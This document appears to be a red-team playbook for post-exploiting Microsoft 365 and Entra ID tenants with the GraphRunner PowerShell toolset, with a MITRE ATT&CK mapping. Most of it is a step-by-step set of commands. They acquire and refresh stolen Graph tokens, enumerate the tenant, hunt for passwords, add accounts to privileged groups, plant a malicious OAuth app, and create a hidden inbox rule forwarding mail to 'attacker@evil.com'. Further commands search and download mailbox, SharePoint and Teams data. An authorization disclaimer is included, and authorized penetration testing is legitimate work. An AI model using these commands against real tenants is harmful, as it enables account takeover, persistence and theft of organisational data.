Perform recon, persistence, privilege escalation, and data search via the Microsoft Graph API using GraphRunner.
cybersecurity
identity-access-management
red-team
microsoft-graph
graphrunner
entra-id
oauth-abuse
account-manipulation
post-exploitation
m365
1.0
mahipal
Apache-2.0
PR.AA-05
T1098
Post-Exploiting Microsoft Graph with GraphRunner
Authorized use only: GraphRunner performs offensive actions against live Microsoft 365 / Entra ID tenants — deploying OAuth apps, cloning groups, adding members, and reading mailboxes, SharePoint, and Teams. Run it only against tenants you own or are explicitly authorized in writing to test. Unauthorized use is illegal.
Overview
GraphRunner (Beau Bullock / Black Hills Information Security) is a PowerShell post-exploitation toolset built entirely on the Microsoft Graph API. Given a foothold token, it performs recon, establishes persistence, escalates privilege, and pillages M365 data — all through Graph, which blends in with normal traffic and bypasses many endpoint controls. It is the natural follow-on to credential/token theft (e.g., device-code phishing or ROADtools): once you hold Graph access, GraphRunner operationalizes it.
The toolset is a single PowerShell module (GraphRunner.ps1) exposing dozens of functions grouped by purpose:
Pillage / Data Search — Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, Invoke-SearchTeams, Get-TeamsChat, Invoke-DriveFileDownload.
Master runner — Invoke-GraphRunner runs an automated recon-and-pillage pass; List-GraphRunnerModules prints all modules.
This maps to MITRE ATT&CK T1098 — Account Manipulation: GraphRunner manipulates accounts, groups, and OAuth grants (adding members, injecting apps, cloning groups, inviting guests) to maintain and escalate access in the cloud identity plane.
When to Use
After obtaining a valid Microsoft Graph access/refresh token during an authorized M365/Entra engagement.
When mapping tenant permissions, conditional-access policies, and OAuth app exposure.
When establishing cloud persistence via OAuth consent grants or inbox forwarding (in scope).
When demonstrating privilege escalation through updatable/dynamic groups.
When searching mailboxes, SharePoint/OneDrive, and Teams for sensitive data to evidence impact.
Prerequisites
Written authorization and scope for the target tenant.
A Graph token foothold (from Get-GraphTokens device-code login, or imported tokens).
PowerShell 5.1+ or PowerShell 7 (cross-platform).
# Clone and import the modulegitclonehttps://github.com/dafthack/GraphRunner.gitcd GraphRunnerImport-Module.\GraphRunner.ps1# List every available moduleList-GraphRunnerModules
Objectives
Authenticate to Microsoft Graph and maintain tokens via refresh.
Enumerate tenant users, groups, CA policies, and OAuth apps.
Identify updatable groups and demonstrate privilege escalation.
Establish persistence via an injected OAuth app and/or inbox forwarding rule.
Search mailboxes, SharePoint/OneDrive, and Teams for sensitive content.
MITRE ATT&CK Mapping
ID
Tactic
Official Technique Name
Role in this skill
T1098
Persistence
Account Manipulation
Add group members, clone groups, invite guests to retain/escalate access
T1098.003
Privilege Escalation
Account Manipulation: Additional Cloud Roles
Adding members to privileged/updatable groups
T1528
Credential Access
Steal Application Access Token
Get-GraphTokens device-code token acquisition
T1087.004
Discovery
Account Discovery: Cloud Account
Get-AzureADUsers, Invoke-SearchUserAttributes
T1114.002
Collection
Email Collection: Remote Email Collection
Invoke-SearchMailbox over Graph
T1606.002
Credential Access
Forge Web Credentials: SAML/OAuth
Invoke-InjectOAuthApp consent-grant persistence
Workflow
Step 1: Authenticate and refresh tokens
# Device-code login; complete the code at microsoft.com/deviceloginGet-GraphTokens# Refresh the access token when it expiresInvoke-RefreshGraphTokens# Keep tokens fresh automatically during a long operationInvoke-AutoTokenRefresh# Import tokens captured elsewhere (e.g., from ROADtools)Invoke-ImportTokens-AccessToken$at-RefreshToken$rt
Step 2: Recon and enumeration
# High-level tenant + current-user permission reconInvoke-GraphRecon-Tokens$tokens-PermissionEnum# Dump conditional-access policiesInvoke-DumpCAPS-Tokens$tokens-ResolveGuids# Enumerate app registrations, service principals, and consent grantsInvoke-DumpApps-Tokens$tokens# Enumerate all users and security groupsGet-AzureADUsers-Tokens$tokens-OutFileusers.txtGet-SecurityGroups-Tokens$tokens
Step 3: Search user attributes for secrets
# Hunt across all user attributes for terms like "password"Invoke-SearchUserAttributes-Tokens$tokens-SearchTerm"password"
Step 4: Privilege escalation via updatable groups
# Find groups the current principal can modify directlyGet-UpdatableGroups-Tokens$tokens# Add yourself (or a controlled account) to a target groupInvoke-AddGroupMember-Tokens$tokens-GroupId<group-guid>-UserId<user-guid># Clone a privileged security group's membership into a new group you controlInvoke-SecurityGroupCloner-Tokens$tokens
Step 5: Persistence
# Deploy a malicious OAuth app and walk the consent-grant flow for persistenceInvoke-InjectOAuthApp-AppName"Demo App"-ReplyUrl"https://localhost"-Scope"openid profile offline_access Mail.Read"# Create a hidden inbox forwarding rule on a target mailboxInvoke-CreateInboxForwardingRule-Tokens$tokens-ForwardTo"attacker@evil.com"-RuleName"Sync"
Step 6: Pillage M365 data
# Search a mailbox (or all reachable mailboxes) for sensitive termsInvoke-SearchMailbox-Tokens$tokens-SearchTerm"password"-MessageCount100-OutFilemail.csv# Search SharePoint and OneDrive contentInvoke-SearchSharePointAndOneDrive-Tokens$tokens-SearchTerm"secret"# Download a discovered fileInvoke-DriveFileDownload-Tokens$tokens-DriveItemIDs"<drive-id>:<item-id>"-FileNameloot.docx# Search Teams messagesInvoke-SearchTeams-Tokens$tokens-SearchTerm"vpn"
Step 7: Automated full pass
# Run the orchestrated recon + pillage workflow end to endInvoke-GraphRunner-Tokens$tokens
High-volume $search calls against /messages and Drive endpoints
To reduce noise during an authorized engagement, scope searches with -MessageCount, avoid role-assignable group changes unless required, and always remove injected apps with Invoke-DeleteOAuthApp and forwarding rules during cleanup.
Validation Criteria
Graph tokens obtained via Get-GraphTokens and refreshed successfully.